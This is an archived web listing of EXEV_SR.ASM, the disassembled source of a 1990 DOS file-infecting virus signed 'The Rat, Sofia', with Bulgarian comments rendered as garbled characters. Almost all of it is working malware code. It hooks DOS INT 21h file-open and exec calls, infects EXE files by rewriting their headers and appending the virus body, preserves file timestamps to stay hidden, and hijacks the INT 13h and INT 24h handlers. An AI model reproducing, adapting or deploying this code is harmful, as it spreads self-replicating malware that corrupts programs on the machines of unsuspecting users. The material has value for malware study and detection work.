home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
ASM-E.ZIP
/
EXEV_SR.ASM
< prev
Wrap
Assembly Source File
|
1980-01-01
|
13KB
|
269 lines
PAGE 59,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ EXEV ██
;██ ██
;██ Created: 2-Jun-90 ██
;██ Version: ██
;██ Passes: 9 Analysis Options on: ABCDEFPX ██
;██ ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
data_13e equ 1000h ; (6B7E:1000=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
exev proc far
start:
mov dx,offset data_1 ; (6B7E:010A=0Ah)
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
jmp loc_2 ; (0A10)
data_1 db 0Ah, 0Dh, 'éá╕¿┐▓ ┐º«ó¿░ Ñ ºá░¿íÑ¡. '
db 'îáá⌐ ▒¼Ñ½« ! ..', 0Ah, 0Dh, '$'
db 0
db 1928 dup (0)
data_3 dw 0
db 0, 0, 0, 0
data_4 dw 0
data_5 dw 0
data_6 dw 0
db 0, 0, 0, 0
data_7 dw 0
db 0, 0, 0, 0
data_8 dw 0
data_9 dw 0
db 310 dup (0)
loc_2:
cld ; Clear direction
mov ax,352Bh
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov bp,ds
push cs
pop ds
add word ptr jmp_far+3,bp ; Å░¿íáó┐ ¬║¼ JMP FAR ▓Ѭ│╣¿┐ ▒Ñú¼Ñ¡▓
mov si,0A10h ; Å░ѼÑ▒▓óá ú« ó ▒Ñú¼Ñ¡▓á ¬«⌐▓« ▒«╖¿
mov di,si ; ES ▓«óá Ñ ▒Ñú¼Ñ¡▓á ¡á INT 21H
mov cx,180h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
push es ; æ½Ññ ¬á▓« ú« »░ѼÑ▒▓¿ ▒Ñ «í░║╣á ¬║¼
mov ax,offset prehod ; ¡Ñú«,¡« ¡á ¡«ó¿┐ áñ░Ñ▒
push ax
retf ; Return far
prehod label word
lea di,[bx+1Bh] ; çá░Ѫñá ▒Ñú¼Ñ¡▓á ¡á ó░║╣á¡Ñ ó JMP FAR
mov al,0E9h ; çỿ▒óá ¬«ñá ¡á JMP
stosb ; Store al to es:[di]
mov ax,offset jmp_far+3 ; Æ«óá Ñ áñ░Ñ▒á ¡á ¬«⌐▓« ▓░┐íóá ñá ▒Ñ
sub ax,di ; «í░║╣á,¿ºóáªñá ú« «▓ «▓¼Ñ▒▓óá¡Ñ▓« ¡á
stosw ; INT 21H ¿ ú« ºá»¿▒óá
stosw ; Æ«óá ºá»¿▒óá ó «▒▓á¡á½¿▓Ñ íá⌐▓«óÑ
stosw ; »░ạ¿ ¿¡▒▓░│¬╢¿¿
mov cs:data_3,di ; Æ«óá Ñ áñ░Ñ▒á ¡á INT 21H
mov ax,ss ; é║º▒▓á¡«ó┐óá SS
sub ax,18h
cli
mov ss,ax
lea ax,[bp+10h] ; éºÑ¼á áñ░Ñ▒á «▓ ¬«⌐▓« ▓░┐íóá
mov bx,11h ; ñá ▒Ñ ºá░Ññ¿ »░«ú░á¼á▓á
move label word
loc_3:
mov es,ax
add ax,18h
mov ds,ax
xor si,si ; Å░ѼÑ▒▓óá í½«¬«óÑ »« 180h íá⌐▓á ºá
xor di,di ; ñá ú¿ ó║░¡Ñ ¡á ¼┐▒▓«▓« ¿¼.Å░áó¿ ú«
mov cx,0C0h ; 11h »║▓¿ ºá ñá ▒Ñ ¿º░áó¡¿
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
dec bx
jns loc_3 ; Jump if not sign
sti ; Enable interrupts
mov ds,bp ; é║º▒▓á¡«ó┐óá DS ¿ ES
push ds
pop es
jmp_far: db 0EAh,0,0,0,0 ; Æ«óá Ñ áñ░Ñ▒á ¡á ºá ó░║╣á¡Ñ ¿ JMP FAR
int_21: cld ; ÄÆ Æôè çÇÅÄùéÇ ÄüÉÇüÄÆèÇÆÇ ìÇ INT 21H
cmp ah,3Dh ; '='
je loc_4 ; Jump if equal
cmp ah,4Bh ; 'K'
jne loc_5 ; Jump if not equal
loc_4: ; xref 6B7E:0A70
push es
call sub_5 ; (0AAD)
pop es
loc_5: ; xref 6B7E:0A75
jmp cs:data_3 ; JMP ¬║¼ INT 21h
exev endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_1 proc near ; ùÑ▓Ñ/ºá»¿▒óá »░Ñ┤¿¬▒á ¡á ┤á⌐½á
mov cx,20h ; Éẻ«½áúá ú« «▓ INT 21H_SEG:8C2
mov dx,8C2h
jmp short loc_6 ; (0A90) ; (0A90)
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_2:
mov ax,4200h
xor dx,dx ; Zero register
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_3:
xor cx,cx
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_4: ; Äí░║╣á ▒Ñ ¬║¼ INT 21H
loc_6: ; xref 6B7E:0A87
pushf ; Push flags
push cs
call cs:data_3 ; (6B7E:08C0=0)
retn
sub_1 endp
abort : mov al,3 ; é╡«ñ¡á ▓«╖¬á ¡á INT 24H
iret ; Interrupt return
_1 dw 17D0h
dw 1509h
dw 154Ch
_2 dw 0F7Ah
dw 15DCh ;Æ│¬ Ñ ¿ áñ░Ñ▒á ¡á INT 13H
dw 161Fh
_3 dw 0FC9h,15DCh,161Fh ;Æ«óá ▒á ñá¡¡¿▓Ñ ºá
;INT 25H,INT 26H,INT 27H
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_5 proc near
push di ; çá»áºóá ░Ñú¿▒▓░¿▓Ñ
push si
push dx
push cx
push bx
push ax
push ds
xor ax,ax ; Zero register
mov ds,ax
push cs
pop es
mov si,4Ch
push si
mov di,8E2h
mov cx,28h ; çá»áºóá »░¬║▒óá¡¿┐▓á «▓ 13H ñ« 24H
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
pop di
push ds
pop es
mov al,70h ; 'p'
mov ds,ax
mov al,ds:data_13e ;Å«▒▓áó┐ ó al ▒║ñ║░ªá¡¿Ñ▓« ¡á 70:1000
mov si,offset _1
cmp al,0
je loc_7 ; Jump if equal
mov si,offset _2
cmp al,0Fh
je loc_7 ; Jump if equal
mov si,offset _3
loc_7: ; xref 6B7E:0AD5, 0ADC
push cs
pop ds
movsw
mov al,70h ; æ¼Ñ¡┐ INT 13H
stosw ; Store ax to es:[di]
mov di,90h
mov ax,offset abort ; æ¼Ñ¡┐ áñ░Ñ▒á ¡á INT 24H
stosw ; Store ax to es:[di]
mov ax,cs
stosw
movsw
stosw ; é░║╣á «░¿ú¿¡á½¡¿▓Ñ ó╡«ñ¡¿
movsw ; ▓«╖¬¿ ¡á INT 25H , INT 26H ,
stosw ; INT 27H
pop ds
mov ax,3D02h ; Ä▓óá░┐ ┤á⌐½á ºá ╖Ñ▓Ñ¡Ñ/ºá»¿▒
call sub_4 ; (0A90)
push ds
push cs
pop ds
mov bx,ax
mov ax,5700h ; éºÑ¼á ñá▓á▓á ¿ ╖á▒á ¡á ┤á⌐½á
jc loc_9 ; Jump if carry Set
call sub_4 ; (0A90)
push cx ; çá»áºóá ñá▓á▓á ¿ ╖á▒á ó ▒▓Ѭá
push dx
mov ah,3Fh ; ö│¡¬╢¿┐ ºá ╖Ñ▓Ñ¡Ñ ¡á »░Ñ┤¿¬▒á
call sub_1 ; (0A81)
cmp data_5,0 ; Å░«óÑ░┐óá ºá »░ѼÑ▒▓óáѼ¿ ▒¿¼ó«½¿
jne loc_8 ; çá▓óá░┐ ¿ ¿º½¿ºá
cmp data_6,ax ; Å░«óÑ░┐óá ░ẼÑ░á ¡á »░Ñ┤¿¬▒á 0 ?
jne loc_8 ; Jump if not equal
mov ax,data_4 ; Å«▒▓áó┐ ó AX ñ║½ª¿¡á▓á ¡á ┤á⌐½á
shl ax,1 ; ô¼¡«ªáóá ┐ »« 2
mov word ptr move-2,ax ; çỿ▒óá ¬«½¬« »║▓¿ ñá ▒Ñ »░ѼÑ▒▓¿
sub data_6,18h ; ìá¼á½┐óá ñ║½ª¿¡á▓á ¡á »░Ñ┤¿¬▒á
add data_7,18h ; ôóѽ¿╖áóá «▓¼Ñ▒▓óá¡Ñ▓« ¡á SS ▒ 18h
mov ax,0A10h
xchg ax,data_8 ; IP ñá í║ñÑ ¡á «▓¼Ñ▒▓óá¡Ñ A10h
mov word ptr jmp_far+1,ax ; çá»áºóá IP ó FAR JMP
mov ax,0FF5Fh ; Å«▒▓áó┐ CS ▓á¬á,╖Ñ CS:IP ñá
xchg ax,data_9 ; ▒«╖¿ ¡á╖Ὣ▓« ¡á ó¿░│▒á
add ax,10h
mov word ptr jmp_far+3,ax ; Å«▒▓áó┐ ó JMP FAR ▒Ñú¼Ñ¡▓á
call sub_2 ; Å«▒▓áó┐ ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
mov ah,40h ; çỿ▒óá »░Ñ┤¿¬▒á
call sub_1 ; (0A81)
mov ax,4200h
mov dx,80h ;Å░ѼÑ▒▓óá »«¬áºá½Ñ╢á ¡á 80h
call sub_3 ; (0A8E)
mov cx,180h
mov dx,0A10h
mov ah,40h ; çỿ▒óá ó¿░│▒á
call sub_4 ; (0A90)
loc_8: ; xref 6B7E:0B15, 0B1B
pop dx
pop cx
mov ax,5701h ; çỿ▒óá ▒▓á░¿┐ ╖á▒ ¿ ñá▓á
call sub_4 ; (0A90)
mov ah,3Eh ; çá▓óá░┐ ┤á⌐½á
call sub_4 ; (0A90)
loc_9: ; xref 6B7E:0B04
mov si,8E2h
mov di,4Ch
mov cx,28h ; é░║╣á »░Ѭ║▒óá¡¿┐▓á
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
pop ds
pop ax ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ
pop bx
pop cx
pop dx
pop si
pop di
retn
sub_5 endp
db 'The Rat, Sofia'
seg_a ends
end start